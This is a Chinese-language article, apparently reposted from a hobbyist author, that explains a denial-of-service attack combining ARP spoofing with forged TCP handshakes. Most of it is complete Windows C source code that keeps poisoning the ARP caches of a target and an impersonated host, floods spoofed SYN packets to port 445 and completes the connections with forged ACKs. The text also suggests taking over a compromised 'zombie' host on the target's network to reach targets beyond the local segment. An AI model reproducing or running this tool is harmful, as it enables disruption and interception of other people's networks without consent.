基于ARP欺騙的TCP偽連接D.o.S_ARP原理
發表時間:2023-07-13 來源:明輝站整理相關軟件相關文章人氣:
[摘要]從某種意義上說, 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實現了。 以前LionD8就曾經用這個思路做出了一個新型D.o.S, 而今天, 我用的也是這個思路。 但是, 如果直接偽造...
從某種意義上說, 如果能夠制造TCP偽連接, 那么D.o.S也就比較容易實現了。 以前LionD8就曾經用這個思路做出了一個新型D.o.S, 而今天, 我用的也是這個思路。 但是, 如果直接偽造TCP三次握手而不作其他任何處理, 那卻是不行的。 因為, 當攻擊的目標主機接收到我們發過去的偽造的SYN包后會發回一個SYN+ACK包(也就是第二次握手)。 而當我們的系統收到這個SYN+ACK包后, 由于系統內并沒有發起真正的TCP連接, 因此系統會發回一個RST包, 這個包將使目標主機重置連接。 這樣, 這個偽連接就建立失敗了。
要解決這個問題, 辦法有不少, 而我這里要用的方法就是ARP欺騙。 首先, 我們要對目標主機進行ARP欺騙, 讓它認為我們是同一網段中的另一臺機器。 然后我們就可以偽裝這臺機器向目標主機發起TCP偽連接了。 這樣一來, 即使目標主機返回一個SYN+ACK包, 這個包也不會進入到我們的系統(因為這個包的目的IP不會是我們而應該是我們偽裝的那臺主機的IP), 這樣, 我們的系統也不會向目標主機發送RST包了。
打個比方, 假設我們是主機A, 現在我想要攻擊主機B。 首先, 我先偽裝主機C對B進行ARP欺騙(以C的IP地址和A的MAC地址構造ARP應答包發送到B), 這樣, B的ARP緩存中就會記錄下C的IP對應A的MAC地址。 然后, 我們再以C的IP為源IP構造SYN數據包, 向B發起TCP偽連接。 當B收到這個SYN包之后, 它會構造一個SYN+ACK包發往C。 但是, 由于此時在B的ARP緩存中記錄著:C的IP對應A的MAC地址, 因此, 這個SYN+ACK包實際上被發送到了A。 雖然, 這個包將被A的系統所丟棄(因為這個包的目的IP是C的IP而不是A的IP, 所以A的系統將會丟棄這個包), 但是, 我們仍然可以從鏈路層直接將這個數據幀獲取下來。 得到了這個SYN+ACK包之后, 我們需要再次偽裝C向B發回一個ACK包完成第三次握手。 這樣, TCP初始化連接的三次握手都完成了, 我們的偽連接也成功建立了!
偽連接建立之后, 我們還可以繼續向目標主機發送數據, 來保證TCP連接的存活。
這里, 有幾個需要注意的問題:首先, 為了保證攻擊過程中目標主機的ARP緩存不被更改, 我們需要持續不斷的對其進行ARP欺騙;第二, 為了防止在攻擊過程中我們偽裝的主機向目標主機發起通信, 刷新目標主機的ARP緩存, 對我們的攻擊造成影響, 我們還可以對偽裝主機也同時進行ARP欺騙, 以增加攻擊成功的幾率。
好了, 說了這么多, 下面就給出我實現的源代碼, 歡迎大蝦們多多指教。
// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "stdio.h"
#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")
//下面幾個宏是測試用的主機的IP和MAC
#define SIMULATE_MAC "0011111d735a" //偽裝主機的MAC地址
#define TARGET_MAC "001111c6f7fe" //目的主機的MAC地址
#define LOCAL_MAC "00e06e41508f" //本機MAC地址
#define TARGET_IP "211.83.97.24" //目的主機的IP
#define SIMULATE_IP "211.83.97.16" //偽裝主機的IP
#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
#pragma pack(push, 1)
struct ET_HEADER //以太網頭部
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
};
struct ARP_HEADER //ARP頭部
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
};
struct IP_HEADER //IP頭部
{
char m_ver_hlen; //4位版本號,4位ip頭部長
char m_tos;
USHORT m_tlen;
USHORT m_ident;
USHORT m_flag_frag; //3位標志位(1位未用位,1位DF,1位MF),13位片斷偏移量
char m_ttl;
char m_protocol;
USHORT m_cksum;
ULONG m_sIP;
ULONG m_dIP;
};
struct TCP_HEADER //TCP頭部
{
USHORT m_sport;
USHORT m_dport;
ULONG m_seq;
ULONG m_ack;
char m_hlen_res4; //4位tcp頭部長,6位保留的前4位
char m_res2_flag; //6位保留的后2位,6位標志
USHORT m_win;
USHORT m_cksum;
USHORT m_urp;
};
struct PSD_HEADER //偽頭部, 計算校驗和用
{
ULONG m_saddr; //源地址
ULONG m_daddr; //目的地址
char m_mbz;
char m_ptcl; //協議類型
USHORT m_tcpl; //TCP長度
};
struct TCP_OPTION //TCP選項, 發起偽連接時要用來與對方協商
{
USHORT unKnown;
USHORT maxSegSize; //MSS,以太網一般為1460
char no1;
char no2;
USHORT SACK;
};
struct CHEAT_ARP_INFO //ARP欺騙線程的參數
{
char simulateIP[20];
char targetIP[20];
char targetMAC[13];
};
#pragma pack(pop)
USHORT CheckSum(USHORT *buffer, int size); //計算校驗和的函數
void StrToMac(char *str,char *mac); //字符串轉換為MAC地址
void ListenACK(); //監聽函數,監聽對方的回包
void AssayAndSendData(LPPACKET lpPacket); //分析數據幀并發送回包
DWORD WINAPI ArpCheat(void *pInfo); //ARP欺騙線程
DWORD WINAPI SendSyn(void *no); //發送SYN包的線程
void Info();
LPADAPTER lpAdapter=NULL; //適配器指針
USHORT ipID=1638; //IP標識
USHORT sourcePort=1056; //起始源端口
USHORT targetPort=445; //目的端口
int main(int argc, char* argv[])
{
Info();
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!\n");
return -1;
}
//打開適配器:
WCHAR adapter_name[2048]={0};
ULONG adapter_length=1024;
//取得所有適配器的名字.
if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
{
//adapter_name:一個用于存放適配器的名字的緩沖區
//adapter_length:這個緩沖區的大小
printf("PacketGetAdapterNames error:%d\n",GetLastError());
return -1;
}
WCHAR *name1,*name2;
ULONG i;
static CHAR adapter_list[10][1024];
name1=adapter_name;
name2=adapter_name;
i=0;
//把adapter_name中的適配器名字, 分別copy到adapter_list[]中, i從0開始為第一個
while((*name1!='\0') (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
//默認打開第一塊適配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if (!lpAdapter (lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
return -1;
}
//創建ARP欺騙線程:
CHEAT_ARP_INFO info1={0},info2={0};
memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);
memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
Sleep(50);
//發送TCP偽連接的SYN數據幀:
::CreateThread(NULL,0,SendSyn,NULL,0,NULL);
ListenACK(); //循環監聽數據包
PacketCloseAdapter(lpAdapter); //關閉適配器
::WSACleanup();
return 0;
}
DWORD WINAPI SendSyn(void *no)
{
Sleep(100);
while(TRUE) //循環發送SYN包發起偽連接
{
char s_mac[6]={0},d_mac[6]={0};
char sendSynBuf[128]={0};
ET_HEADER et_header={0};
IP_HEADER ip_header={0};
TCP_HEADER tcp_header={0};
TCP_OPTION tcp_option={0};
PSD_HEADER psd_header={0};
//填充以太頭部:
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //類型為0x0800表示這是IP包
//填充IP頭部:
ip_header.m_ver_hlen=(4<<4 5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //設置為不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高層協議為TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP); //源IP填為偽裝主機的IP
ip_header.m_dIP=inet_addr(TARGET_IP); //目的IP
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
//填充TCP頭部以及TCP選項:
tcp_header.m_dport=htons(targetPort);
tcp_header.m_sport=htons(sourcePort++);
tcp_header.m_seq=::GetTickCount(); //初始化序列號
tcp_header.m_ack=0;
tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);
tcp_header.m_res2_flag=2; //標識為SYN包
tcp_header.m_win=htons(16384);
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
tcp_option.unKnown=htons(516);
tcp_option.maxSegSize=htons(1460); //MSS, 以太網一般為1460
tcp_option.no1=1;
tcp_option.no2=1;
tcp_option.SACK=htons(1026);
//計算TCP校驗和:
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
//構造SYN數據幀:
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
//發送偽造的SYN包:
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //給PACKET結構指針分配內存
PacketInitPacket(lpPacket,sendSynBuf,128); //初始化PACKET結構指針
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設置發送次數
{
printf("Warning: Unable to send more than one packet in a single write!\n");
continue;
}
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
continue;
}
PacketFreePacket(lpPacket); //釋放PACKET結構指針
Sleep(100);
}
return 0;
}
DWORD WINAPI ArpCheat(void *pInfo)
{
CHEAT_ARP_INFO info={0};
memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));
//偽造ARP應答包:
char s_mac[6]={0},d_mac[6]={0};
ET_HEADER et_header={0};
ARP_HEADER arp_header={0};
char buffer[64]={0};
StrToMac(LOCAL_MAC,s_mac); //源MAC地址
memcpy(et_header.eh_src,s_mac,6);
StrToMac(info.targetMAC,d_mac); //目的MAC地址
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0806); //類型為0x0806表示這是ARP包
arp_header.arp_hdr=htons(0x0001); //硬件地址類型以太網地址
arp_header.arp_pro=htons(0x0800); //協議地址類型為IP協議
arp_header.arp_hln=6; //硬件地址長度為6
arp_header.arp_pln=4; //協議地址長度為4
arp_header.arp_opt=htons(0x0002); //標識為ARP應答
arp_header.arp_spa=inet_addr(info.simulateIP); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(info.targetIP); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
//發送偽造地ARP應答包:
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //給PACKET結構指針分配內存
PacketInitPacket(lpPacket,buffer,64); //初始化PACKET結構指針
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設置發送次數
printf("warning: Unable to send more than one packet in a single write!\n");
while(TRUE)
{
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不斷發送偽造的ARP應答包達到欺騙目標主機的目的
{
printf("Error sending the packets!\n");
break;
}
Sleep(3000);
}
PacketFreePacket(lpPacket); //釋放PACKET結構指針
return 0;
}
void ListenACK()
{
LPPACKET lpPacket;
char recvBuf[512]={0};
PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //設置網卡為直接模式
PacketSetBuff(lpAdapter,1024); //設置網卡接收數據包的緩沖區大小
PacketSetReadTimeout(lpAdapter,2); //設置接收到一個包后的“休息”時間
while(TRUE)
{
lpPacket=PacketAllocatePacket(); //給PACKET結構指針分配內存
PacketInitPacket(lpPacket,recvBuf,512); //初始化PACKET結構指針
if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE) //接收數據幀
AssayAndSendData(lpPacket); //分析數據包并發送ACK包
else
printf("Recv Error!\n");
//每次收包后重置lpPacket:
PacketFreePacket(lpPacket);
memset(recvBuf,0,512);
Sleep(10);
}
PacketFreePacket(lpPacket); //釋放lpPacket
return;
}
USHORT CheckSum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void StrToMac(char *str,char *mac) //自定義的將字符串轉換成mac地址的函數
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':high=10;
break;
case 'b':high=11;
break;
case 'c':high=12;
break;
case 'd':high=13;
break;
case 'e':high=14;
break;
case 'f':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a':low=10;
break;
case 'b':low=11;
break;
case 'c':low=12;
break;
case 'd':low=13;
break;
case 'e':low=14;
break;
case 'f':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
void AssayAndSendData(LPPACKET lpPacket)
{
char *buf;
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
in_addr addr={0};
buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)buf;
lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800)) //判斷是否為IP包
{
IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判斷所收到的數據包的傳輸層協議、源及目的IP
{
TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));
if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判斷是否為帶ACK標記的包并判斷目標主機接收窗口是否已為0
{
char s_mac[6]={0},d_mac[6]={0};
char sendSynBuf[128]={0};
char *data="ffantasyYD";
ET_HEADER et_header={0};
IP_HEADER ip_header={0};
TCP_HEADER tcp_header={0};
PSD_HEADER psd_header={0};
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //類型為0x0800表示這是IP包
ip_header.m_ver_hlen=(4<<4 5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //設置為不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高層協議為TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP);
ip_header.m_dIP=inet_addr(TARGET_IP);
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
tcp_header.m_dport=lpTcphdr->m_sport;
tcp_header.m_sport=lpTcphdr->m_dport;
tcp_header.m_seq=lpTcphdr->m_ack; //序列號為接收到包的ack號
if(lpTcphdr->m_res2_flag==0x12) //若收到的包是SYN+ACK包, 則ACK號為接收到包的序列號加1
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);
else //若收到的包不是SYN+ACK包, 則ACK號為接收到包的序列號加上包的數據部分長度
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);
tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);
tcp_header.m_res2_flag=0x10; //設置為ACK包
tcp_header.m_win=lpTcphdr->m_win;
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
//發送偽造的ACK包:
LPPACKET lpSendPacket;
lpSendPacket=PacketAllocatePacket(); //給PACKET結構指針分配內存
PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET結構指針
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //設置發送次數
{
printf("Warning: Unable to send more than one packet in a single write!\n");
return;
}
if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return;
}
PacketFreePacket(lpSendPacket); //釋放PACKET結構指針
}
}
}
return;
}
void Info()
{
printf("********************************\n");
printf("* Made by ffantasyYD *\n");
printf("* QQ:76889713 *\n");
printf("* Email:[email protected] *\n");
printf("* http://ffantasyyd.126.com *\n");
printf("********************************\n");
}
注:由于以上代碼是我測試用的, 因此顯得不太便于使用, 很多信息都是我自己去獲取后直接寫進程序里的, 比如目標主機的MAC地址等, 這些都需要測試者自己修改。 另外, 這種D.o.S存在著一個局限性, 那就是目標主機必須跟我們的主機處于同一個二層網絡內。 但是, 我們可以利用一些方法來克服這種局限性, 比如, 我們可以在目標主機的網絡內找一臺肉雞, 這樣, 我們就只需要控制那臺肉雞進行攻擊就行了。
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。